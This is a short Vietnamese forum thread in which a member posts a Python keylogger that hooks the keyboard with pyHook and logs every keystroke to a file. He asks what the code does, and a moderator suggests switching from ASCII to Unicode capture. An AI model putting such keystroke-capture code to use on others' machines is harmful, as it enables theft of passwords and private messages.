Hỏi về Keylogger

Thảo luận trong 'Hỏi đáp' bắt đầu bởi Bkis Hunter, 30/07/18, 11:07 AM.

  1. Bkis Hunter

    Bkis Hunter Active Member

    Tham gia: 30/12/17, 06:12 PM
    Bài viết: 43
    Đã được thích: 3
    Điểm thành tích:
    8
    Em đang tìm hiều cách viết một con keylogger bằng python,sau đây là đoạn code mà em tham khảo được,dù đã tìm hiểu trên Google nhưng em vẫn chưa thực sự hiểu được code của con keylogger này, những chỗ ko hiểu em có đánh dấu "#" ở cuối dòng. Em mong mọi người có thể giải thích giúp em với ạ:

    import pyHook, pythoncom, sys, logging

    file_log='C:\\message.txt'

    def onKeyboardEvent(event):
    logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')#
    chr(event.Ascii)#
    logging.log(10,chr(event.Ascii))#
    return True

    hooks_manager=pyHook.HookManager()#

    hooks_manager.KeyDown=onKeyboardEvent#

    hooks_manager.HookKeyboard()#

    pythoncom.PumpMessages()#

    Em vẫn cứ thắc mắc ko hiểu sao ví dụ như mình viết"LovePython" thì nó hiện lên như thế này, mọi người giải thích giúp em với
     

    Các file đính kèm:

    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  2. HustReMw

    HustReMw Moderator Thành viên BQT

    Tham gia: 20/12/16, 05:12 PM
    Bài viết: 187
    Đã được thích: 122
    Điểm thành tích:
    43
    chr(event.Ascii)# lưu text dưới dạng Ascii (không lưu được tiếng việt) bạng nhé.
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  3. Bkis Hunter

    Bkis Hunter Active Member

    Tham gia: 30/12/17, 06:12 PM
    Bài viết: 43
    Đã được thích: 3
    Điểm thành tích:
    8
    Vậy làm thế nào để cho nó hiện lên theo bảng chữ Latin ạ?
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  4. HustReMw

    HustReMw Moderator Thành viên BQT

    Tham gia: 20/12/16, 05:12 PM
    Bài viết: 187
    Đã được thích: 122
    Điểm thành tích:
    43
    Bạn sửa thành Unicode nhé
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    Bkis Hunter thích bài này.